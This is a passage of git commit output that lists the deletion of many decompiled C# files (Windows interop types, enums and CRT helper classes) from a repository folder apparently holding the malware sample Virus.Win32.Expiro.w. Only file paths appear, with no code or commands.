MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/Virus.Win32.Expiro.w.sln delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/WELL_KNOWN_SID_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/X931_restart_t.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY00$$CBD.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY00$$CBG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY00Q6MPBXXZ.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY01Q6AXXZ.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY07$$CBG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY08$$CB_W.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0A@P6AHXZ.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0A@P6AXXZ.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BAE@G.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BAF@G.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BB@K.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0BC@$$CBG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CB@$$CBG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CE@$$CBD.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0CE@$$CBG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0EE@E.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0O@$$CBD.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCppImplementationDetails_003E/$ArrayType$$$BY0P@$$CBG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCrtImplementationDetails_003E/ActivationContext.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCrtImplementationDetails_003E/AtExitLock.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCrtImplementationDetails_003E/DefaultDomain.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCrtImplementationDetails_003E/Handle_003CSystem_003A_003AObject ^_003E.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCrtImplementationDetails_003E/LanguageSupport.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCrtImplementationDetails_003E/NativeDll.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCrtImplementationDetails_003E/Progress.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCrtImplementationDetails_003E/ThisModule.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CCrtImplementationDetails_003E/TriBool.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_003CModule_003E.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_ACCESS_MODE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_ACL.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_ACL_INFORMATION_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_ACTIVATION_CONTEXT_INFO_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_APTTYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_AUDIT_EVENT_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_BIN_TYPES.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_CERT_CHAIN_CONTEXT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_CHANGER_DEVICE_PROBLEM_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_CM_ERROR_CONTROL_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_CM_SERVICE_LOAD_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_CM_SERVICE_NODE_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_COMPUTER_NAME_FORMAT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_CRYPT_OID_INFO.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_DEVICE_POWER_STATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_Direction.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_ELEMENT_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_EXCEPTION_DISPOSITION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_EXCEPTION_POINTERS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_EXPLICIT_ACCESS_W.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_FINDEX_INFO_LEVELS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_FINDEX_SEARCH_OPS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_GET_FILEEX_INFO_LEVELS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_GPO_LINK.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_GUID.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_HEAP_INFORMATION_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_HandleType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_IDL_CS_CONVERT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_JOBOBJECTINFOCLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_KERB_LOGON_SUBMIT_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_KERB_PROFILE_BUFFER_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_KERB_PROTOCOL_MESSAGE_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_LOGICAL_PROCESSOR_RELATIONSHIP.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_LUID.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_MEDIA_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_MEMORY_RESOURCE_NOTIFICATION_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_MSV1_0_LOGON_SUBMIT_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_MSV1_0_PROFILE_BUFFER_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_MSV1_0_PROTOCOL_MESSAGE_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_MULTIPLE_TRUSTEE_OPERATION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_OSVERSIONINFOW.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_POLICY_AUDIT_EVENT_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_POLICY_DOMAIN_INFORMATION_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_POLICY_INFORMATION_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_POLICY_LSA_SERVER_ROLE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_POLICY_NOTIFICATION_INFORMATION_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_PROCESSOR_CACHE_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_PROGRESS_INVOKE_SETTING.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_PaddingMode.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_RPCCALLBACKS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_RPC_ASYNC_EVENT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_RPC_HTTP_REDIRECTOR_STAGE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_RPC_NOTIFICATION_TYPES.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_RPC_REQUEST.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_RPC_RESPONSE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SASL_AUTHZID_STATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SC_ACTION_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SC_ENUM_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SC_STATUS_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SECURITY_ATTRIBUTES.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SECURITY_IMPERSONATION_LEVEL.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SECURITY_LOGON_SESSION_DATA.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SECURITY_LOGON_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SETTINGSTATUS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SE_ADT_PARAMETER_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SE_OBJECT_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SID_NAME_USE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SPACTION.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SPTEXT.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_STORAGE_BUS_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_STORAGE_MEDIA_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_STREAM_INFO_LEVELS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SYSTEM_POWER_STATE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_SecDelegationType.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_TAPE_DRIVE_PROBLEM_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_THDTYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_TOKEN_INFORMATION_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_TOKEN_MANDATORY_LABEL.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_TOKEN_OWNER.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_TOKEN_STATISTICS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_TOKEN_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_TRUSTED_INFORMATION_CLASS.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_TRUSTEE_FORM.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_TRUSTEE_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_URLZONEREG.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/_USER_MARSHAL_CB_TYPE.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IActionProgressDialog_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IActionProgress_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IBindStatusCallback_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IBindStatusCallback_0002.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IBindStatusCallback_0003.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IBindStatusCallback_0004.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IBindStatusCallback_0005.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IBindStatusCallback_0006.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IBrowserFrameOptions_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_ICDBurnExt_0002.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_ICodeInstall_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IInternetSecurityManager_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IInternetSecurityManager_0002.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IInternetSecurityManager_0003.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IInternetZoneManager_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IInternetZoneManager_0002.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IMenuBand_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IMonikerProp_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_INamespaceWalk_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IOleDocument_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IPrint_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_ISearchCommandExt_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IShellItem_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IShellItem_0002.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL_IShellPropSheetExt_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_objidl_0055_0001.cs delete mode 100644 MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-f8f9f26e940480624825f6bddbea86e70fc4aa746c4dd8efa7d98dcb477000ed/__MIDL___MIDL_itf_objidl_0055_0002.cs delete mode 100644 